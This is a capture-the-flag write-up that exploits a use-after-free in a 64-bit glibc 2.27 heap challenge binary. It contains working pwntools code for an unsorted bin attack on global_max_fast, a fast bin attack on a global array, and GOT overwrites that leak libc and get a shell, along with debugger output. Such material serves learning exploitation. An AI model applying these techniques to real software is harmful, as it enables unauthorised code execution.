Robot Factory
11 minutes to read
We are given a 64-bit binary called main
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
We are given a Dockerfile
that starts with FROM ubuntu:18.04
, so we take Glibc from the container and use pwninit
to patch the binary:
$ docker run --rm -v "$(pwd)":/home/rocky -it ubuntu:18.04 bash
root@c591782492e6:/# ldd /bin/sh
linux-vdso.so.1 (0x00007ffde1fb3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbcde5ef000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbcdec00000)
root@c591782492e6:/# /lib64/ld-linux-x86-64.so.2 /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
root@c591782492e6:/# cp /lib64/ld-linux-x86-64.so.2 /lib/x86_64-linux-gnu/libc.so.6 /home/rocky
root@c591782492e6:/# exit
exit
$ pwninit --libc libc.so.6 --ld ld-linux-x86-64.so.2 --bin main --no-template
bin: main
libc: libc.so.6
ld: ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.6_amd64.deb
copying main to main_patched
running patchelf on main_patched
If we open the binary in Ghidra we see these functions with a typical heap exploitation menu:
void robots_factory() {
int option;
puts("Welcome to the secret robots factory!");
while (true) {
menu();
option = read_int();
if (option == 4) break;
if (option < 5) {
if (option == 3) {
destroy_robot();
} else if (option < 4) {
if (option == 1) {
new_robot();
} else if (option == 2) {
program_robot();
}
}
}
}
}
int main() {
setvbuf(stderr,NULL,2,0);
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
robots_factory();
return 0;
}
We have the ability to create robots:
void new_robot() {
int size;
void *p_robot;
long in_FS_OFFSET;
int i;
char size_str[5];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
if (number_robots < 5) {
puts("Provide robot memory size:");
read(0, size_str, 4);
size = atoi(size_str);
if (size < 0x101) {
puts("you\'re creating a stupid robot.");
} else {
for (i = 0; i < 5; i++) {
if (check_robot_slot[i] == 0) {
p_robot = calloc(1, (long) size);
robots[i] = p_robot;
check_robot_slot[i] = 1;
robot_memory_size[i] = size;
printf("You got new page at index %d\n", (ulong) (uint) i);
number_robots = number_robots + 1;
break;
}
}
}
} else {
puts("All slots are occupied :(");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
We are asked to enter a size bigger than 0x101
(257). When creating the robot, the program uses calloc
. This is important for exploitation since calloc
does not use the Tcache.
There are some global arrays and variables that store metadata of the robots (robots
, robots_memory_size
, check_robot_slot
and number_robots
). Moreover, we can only allocate up to 5 robots.
This is the function to program a robot:
void program_robot() {
int index;
long in_FS_OFFSET;
char index_str[5];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("Provide robot\'s slot:");
read(0, index_str, 4);
index = atoi(index_str);
if ((index < 0) || (4 < index)) {
puts("Slot is empty!");
} else if (robots[index] != NULL) {
puts("Program the robot:");
read(0, robots[index], (long) robot_memory_size[index]);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
The first thing we notice is that we can edit any robot as long as robot[index] != NULL
. Let’s take a look at destroy_robot
:
void destroy_robot() {
int index;
long in_FS_OFFSET;
char index_str[5];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("Provide robot\'s slot:");
read(0, index_str, 4);
index = atoi(index_str);
if ((index < 0) || (4 < index)) {
puts("Slot is empty!");
} else if (check_robot_slot[index] == 0) {
puts("robot doesn\'t exist!");
} else {
free(robots[index]);
check_robot_slot[index] = 0;
number_robots = number_robots + -1;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Here the developer forgot to delete the pointer to the robot that has been destroyed. The developer only uses free
, then sets check_robot_slot[index] = 0
and decrements number_robots
, but robot[index]
is still available.
This fact leads to a Use After Free (UAF) vulnerability since we can program a robot that is already destroyed. Let’s plan the exploit strategy:
- We can only allocate chunks bigger than
0x101
(Small Bin and Large Bin range) - Since
calloc
does not use the Tcache, we cannot perform a Tcache poisoining attack. However, chunks sized less than0x401
will go to the corresponding Tcache list when freed - We are able to perform an Unsorted Bin attack since we have a UAF, so we can modify the
bk
pointer and write a fix value to an arbitrary address - A good target for an Unsorted Bin attack is
global_max_fast
within Glibc. This will make all chunks behave like Fast Bin chunks (which was not possible before) - If we get the ability to allocate Fast Bins, we can perform a Fast Bin attack modifying the
fd
pointer of a freed chunk, but we will need to bypass some mitigations - A good target for the Fast Bin attack is the global array
robots
, because there we can set addresses of the Global Offset Table (GOT) - Since the binary has Partial RELRO, we can perform a GOT overwrite to leak Glibc and call
system("/bin/sh")
First, we start by creating two chunks:
- One chunk sized
0x418
- Another chunk sized
0x108
(to prevent coalescing)
When we destroy the first chunk, we get an Unsorted Bin and thus we can modify the bk
pointer to be the address of global_max_fast
:
def main():
p = get_process()
gdb.attach(p, 'continue')
create(p, 0x418)
create(p, 0x108)
destroy(p, 0)
p.interactive()
if __name__ == '__main__':
main()
In GDB, we will see this heap state:
$ python3 solve.py
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1686163
[*] running in new terminal: ['/usr/bin/gdb', '-q', './main_patched', '1686163', '-x', '/tmp/pwnrhgmk3pf.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
1- Create a robot
2- Program a robot
3- Destroy a robot
4- Exit
> $
pwndbg> vis_heap_chunks
0x405000 0x0000000000000000 0x0000000000000251 ........Q.......
0x405010 0x0000000000000000 0x0000000000000000 ................
0x405020 0x0000000000000000 0x0000000000000000 ................
...
0x405230 0x0000000000000000 0x0000000000000000 ................
0x405240 0x0000000000000000 0x0000000000000000 ................
0x405250 0x0000000000000000 0x0000000000000421 ........!....... <-- unsortedbin[all][0]
0x405260 0x00007ffff7dcdca0 0x00007ffff7dcdca0 ................
0x405270 0x0000000000000000 0x0000000000000000 ................
0x405280 0x0000000000000000 0x0000000000000000 ................
...
0x405650 0x0000000000000000 0x0000000000000000 ................
0x405660 0x0000000000000000 0x0000000000000000 ................
0x405670 0x0000000000000420 0x0000000000000110 ...............
0x405680 0x0000000000000000 0x0000000000000000 ................
0x405690 0x0000000000000000 0x0000000000000000 ................
...
0x405770 0x0000000000000000 0x0000000000000000 ................
0x405780 0x0000000000000000 0x0000000000020881 ................ <-- Top chunk
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x405250 /* 'PR@' */
smallbins
empty
largebins
empty
pwndbg> p &global_max_fast
$1 = (size_t *) 0x7ffff7dcf940 <global_max_fast>
So we got an Unsorted Bin. Now, we can modify the bk
pointer so that it points to global_max_fast
. For the moment, I will disable ASLR, so that I only need to overwrite the last two bytes of the bk
with f940
:
program(p, 0, p64(0) + p16(0xf940 - 0x10))
create(p, 0x418)
destroy(p, 0)
Now we have modified global_max_fast
:
pwndbg> x/gx &global_max_fast
0x7ffff7dcf940 <global_max_fast>: 0x00007ffff7dcdca0
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcde40 (main_arena+512) ◂— 0x405250 /* 'PR@' */
BK: 0x7ffff7dcf930 (dumped_main_arena_end) ◂— 0x0
smallbins
0x1b0 [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcde40 (main_arena+512) ◂— 0x405250 /* 'PR@' */
BK: 0x7ffff7dcde40 (main_arena+512) ◂— 0x7ffff7dcde40
largebins
empty
However, as a drawback, we have corrupted the Unsorted Bin linked list, so any new chunk we try to allocate will crash the program:
> $ 1
Provide robot memory size:
$ 264
malloc(): memory corruption (fast)
But do you notice anything strange? We created a chunk sized 0x108
(264), and it is considered a Fast Bin. Hence, we have successfully modified global_max_fast
.
We can overcome this issue by creating a chunk before performing the Unsorted Bin attack. Then, we can free that chunk to insert it into the Fast Bin and modify its fd
pointer. However we need that address to pass some restrictions:
- The address must contain a valid size for the chunk we are “restoring”
- The previous size field must match with the previous chunk size
If we take a look at robot_memory_size
, we will see this:
pwndbg> x/30gx &robot_memory_size
0x4040c0 <robot_memory_size>: 0x0000010800000418 0x0000000000000000
0x4040d0 <robot_memory_size+16>: 0x0000000000000000 0x0000000000000000
0x4040e0 <check_robot_slot>: 0x0000000100000000 0x0000000000000000
0x4040f0 <check_robot_slot+16>: 0x0000000000000000 0x0000000000000000
0x404100 <robots>: 0x0000000000405260 0x0000000000405680
0x404110 <robots+16>: 0x0000000000000000 0x0000000000000000
0x404120 <robots+32>: 0x0000000000000000 0x0000000000000001
0x404130: 0x0000000000000000 0x0000000000000000
0x404140: 0x0000000000000000 0x0000000000000000
0x404150: 0x0000000000000000 0x0000000000000000
0x404160: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180: 0x0000000000000000 0x0000000000000000
0x404190: 0x0000000000000000 0x0000000000000000
0x4041a0: 0x0000000000000000 0x0000000000000000
Actually, if we create a third chunk, the size will be stored at robot_memory_size
, and the previous chunk field will be 0x418
. Hence, we can create two chunks sized 0x418
and the third one sized 0x421
, that will act as a barrier to prevent coalescing and also will be useful to pass the Fast Bin size check:
def main():
p = get_process()
gdb.attach(p, 'continue')
create(p, 0x418)
create(p, 0x418)
create(p, 0x421)
destroy(p, 0)
program(p, 0, p64(0) + p16(0xf940 - 0x10))
create(p, 0x418)
destroy(p, 0)
p.interactive()
if __name__ == '__main__':
main()
pwndbg> x/30gx &robot_memory_size
0x4040c0 <robot_memory_size>: 0x0000041800000418 0x0000000000000421
0x4040d0 <robot_memory_size+16>: 0x0000000000000000 0x0000000000000000
0x4040e0 <check_robot_slot>: 0x0000000100000000 0x0000000000000001
0x4040f0 <check_robot_slot+16>: 0x0000000000000000 0x0000000000000000
0x404100 <robots>: 0x0000000000405260 0x0000000000405680
0x404110 <robots+16>: 0x0000000000405aa0 0x0000000000000000
0x404120 <robots+32>: 0x0000000000000000 0x0000000000000002
0x404130: 0x0000000000000000 0x0000000000000000
0x404140: 0x0000000000000000 0x0000000000000000
0x404150: 0x0000000000000000 0x0000000000000000
0x404160: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180: 0x0000000000000000 0x0000000000000000
0x404190: 0x0000000000000000 0x0000000000000000
0x4041a0: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405250
Size: 0x421
fd: 0x7ffff7dcde40
bk: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x405670
Size: 0x421
Allocated chunk | PREV_INUSE
Addr: 0x405a90
Size: 0x431
Top chunk | PREV_INUSE
Addr: 0x405ec0
Size: 0x20141
This is what I mean. We have a Fast Bin at index 1
, we will free it and modify the fd
pointer to robot_memory_size
. We will pass the size check because we have 0x421
at that address, and the previous chunk field will be 0x418
, which coincides with the previous chunk on the heap layout. So everything will work smoothly:
destroy(p, 1)
program(p, 1, p64(elf.sym.robot_memory_size))
create(p, 0x418)
create(p, 0x418)
pwndbg> x/30gx &robot_memory_size
0x4040c0 <robot_memory_size>: 0x0000041800000418 0x0000000000000421
0x4040d0 <robot_memory_size+16>: 0x0000000000000000 0x0000000000000000
0x4040e0 <check_robot_slot>: 0x0000000100000000 0x0000000000000000
0x4040f0 <check_robot_slot+16>: 0x0000000000000000 0x0000000000000000
0x404100 <robots>: 0x0000000000000000 0x00000000004040d0
0x404110 <robots+16>: 0x0000000000000000 0x0000000000000000
0x404120 <robots+32>: 0x0000000000000000 0x0000000000000001
0x404130: 0x0000000000000000 0x0000000000000000
0x404140: 0x0000000000000000 0x0000000000000000
0x404150: 0x0000000000000000 0x0000000000000000
0x404160: 0x0000000000000000 0x0000000000000000
0x404170: 0x0000000000000000 0x0000000000000000
0x404180: 0x0000000000000000 0x0000000000000000
0x404190: 0x0000000000000000 0x0000000000000000
0x4041a0: 0x0000000000000000 0x0000000000000000
At this point, we have robots[1]
pointing to 0x4040d0
, so we can start messing around these global variables and set the values we want. For instance, we will put a 1
at check_robot_slot
and put some GOT entries at robots
:
program(p, 1, p64(0x1000) + p64(0) + p32(1) * 5 + p64(0) + p32(0) +
p64(elf.got.free) + p64(elf.got.atoi) + p64(elf.got.atoi))
With this, we can modify the GOT entry of free
and set it to puts
, so that we can leak atoi
within Glibc at runtime by calling destroy(p, 2)
:
program(p, 0, p64(elf.plt.puts))
destroy(p, 2)
atoi_addr = u64(p.recvline().strip().ljust(8, b'\0'))
glibc.address = atoi_addr - glibc.sym.atoi
log.success(f'Glibc base address: {hex(glibc.address)}')
$ python3 solve.py
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1712644
[*] running in new terminal: ['/usr/bin/gdb', '-q', './main_patched', '1712644', '-x', '/tmp/pwn_ozbkaaz.gdb']
[+] Waiting for debugger: Done
[+] Glibc base address: 0x7ffff79e2000
[*] Switching to interactive mode
1- Create a robot
2- Program a robot
3- Destroy a robot
4- Exit
> $
Alright, we have sucessfully leaked Glibc. Now we can modify the GOT again and set atoi
to be system
, so that, instead of entering a number for the menu, we can type sh
and get a shell (we only can write up to 4 bytes, so sh
is enough):
program(p, 1, p64(glibc.sym.system))
p.sendlineafter(b'> ', b'sh')
p.interactive()
$ python3 solve.py
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1714210
[+] Glibc base address: 0x7ffff79e2000
[*] Switching to interactive mode
$ ls
ld-linux-x86-64.so.2 libc.so.6 main main_patched solve.py
Perfect. The only thing left is to enable ASLR. This will make the exploit to work an average of 1 out of 16 attempts, due to the fact that we are modifying global_max_fast
with a partial overwrite of two bytes, and ASLR affects one of the nibbles involved (4 bits):
$ while true; do python3 solve.py 2>/dev/null; done
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719491
[*] Process './main_patched' stopped with exit code -11 (SIGSEGV) (pid 1719491)
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719497
[*] Process './main_patched' stopped with exit code -11 (SIGSEGV) (pid 1719497)
...
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719600
[*] Process './main_patched' stopped with exit code -11 (SIGSEGV) (pid 1719600)
[*] './main_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './main_patched': pid 1719606
[+] Glibc base address: 0x7f3744bd2000
[*] Switching to interactive mode
$ ls
ld-linux-x86-64.so.2 libc.so.6 main main_patched solve.py
The full exploit can be found in here: solve.py
.